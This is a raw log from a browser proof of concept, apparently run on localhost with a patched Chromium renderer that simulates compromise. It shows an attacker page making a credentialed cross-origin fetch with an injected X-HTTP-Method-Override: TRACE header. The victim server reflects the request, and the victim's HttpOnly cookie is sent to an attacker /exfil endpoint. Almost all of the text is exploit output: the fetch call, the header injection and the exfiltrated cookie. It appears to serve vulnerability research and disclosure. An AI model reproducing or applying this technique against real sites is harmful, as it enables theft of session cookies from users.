[1838:1838:0527/170442.001998:ERROR:third_party/blink/renderer/platform/loader/fetch/url_loader/request_conversion.cc:454] [POC renderer] injected X-HTTP-Method-Override: TRACE on http://127.0.0.1:18081/reflect?poc-method-override (mode=1, credentials_mode=2)
[1838:1838:0527/170442.033643:ERROR:third_party/blink/renderer/core/fetch/fetch_manager.cc:790] [POC renderer] kOpaque body present in renderer for http://127.0.0.1:18081/reflect?poc-method-override -- exposing to JS (compromised-renderer simulation)
[1743:1743:0527/170442.061641:INFO:CONSOLE:10] "[POC] attacker origin: http://127.0.0.1:18080", source: http://127.0.0.1:18080/poc.html (10)
[1743:1743:0527/170442.061716:INFO:CONSOLE:10] "[POC] victim   origin: http://127.0.0.1:18081", source: http://127.0.0.1:18080/poc.html (10)
[1743:1743:0527/170442.061767:INFO:CONSOLE:10] "[POC] fetch("http://127.0.0.1:18081/reflect?poc-method-override", {method:"POST", mode:"no-cors", credentials:"include"})", source: http://127.0.0.1:18080/poc.html (10)
[1743:1743:0527/170442.088677:INFO:CONSOLE:10] "[POC] response.type = basic", source: http://127.0.0.1:18080/poc.html (10)
[1743:1743:0527/170442.092373:INFO:CONSOLE:10] "[POC] response body (675 bytes) read inside renderer:", source: http://127.0.0.1:18080/poc.html (10)
[1743:1743:0527/170442.092439:INFO:CONSOLE:10] "[POC] ---", source: http://127.0.0.1:18080/poc.html (10)
[1743:1743:0527/170442.092483:INFO:CONSOLE:10] "[POC] TRACE /reflect?poc-method-override HTTP/1.1
X-HTTP-Method-Override: TRACE
[1743:1743:0527/170442.092525:INFO:CONSOLE:10] "[POC] ---", source: http://127.0.0.1:18080/poc.html (10)
[1743:1743:0527/170442.093225:INFO:CONSOLE:10] "[POC] *** cross-origin Cookie header leaked to renderer ***", source: http://127.0.0.1:18080/poc.html (10)

=== server log ===
[*] attacker origin: http://127.0.0.1:18080
[*] victim   origin: http://127.0.0.1:18081
[*] entry point:     http://127.0.0.1:18081/setcookie
[victim:18081] "GET /setcookie HTTP/1.1" 302 -
[attacker:18080] "GET /poc.html HTTP/1.1" 200 -
[victim:18081] method overridden -> TRACE
[victim:18081] "POST /reflect?poc-method-override HTTP/1.1" 200 -
[victim:18081] reflected 675-byte request (Cookie present: True)

======================================================================
[ATTACKER] /exfil received cross-origin body from renderer:
----------------------------------------------------------------------
TRACE /reflect?poc-method-override HTTP/1.1
Host: 127.0.0.1:18081
Connection: keep-alive
Content-Length: 1
sec-ch-ua-platform: "Linux"
Accept-Language: en-US,en;q=0.9
sec-ch-ua: "Not;A=Brand";v="8", "Chromium";v="150"
Content-Type: text/plain;charset=UTF-8
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36
Accept: */*
X-HTTP-Method-Override: TRACE
Origin: http://127.0.0.1:18080
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:18080/
Accept-Encoding: gzip, deflate, br, zstd
Cookie: secret=TOPSECRET_HttpOnly_a1b2c3d4e5

----------------------------------------------------------------------
[ATTACKER] *** VICTIM HttpOnly COOKIE LEAKED: secret=TOPSECRET_HttpOnly_a1b2c3d4e5 ***
======================================================================

[attacker:18080] "POST /exfil HTTP/1.1" 200 -
[attacker:18080] code 404, message File not found
[attacker:18080] "GET /favicon.ico HTTP/1.1" 404 -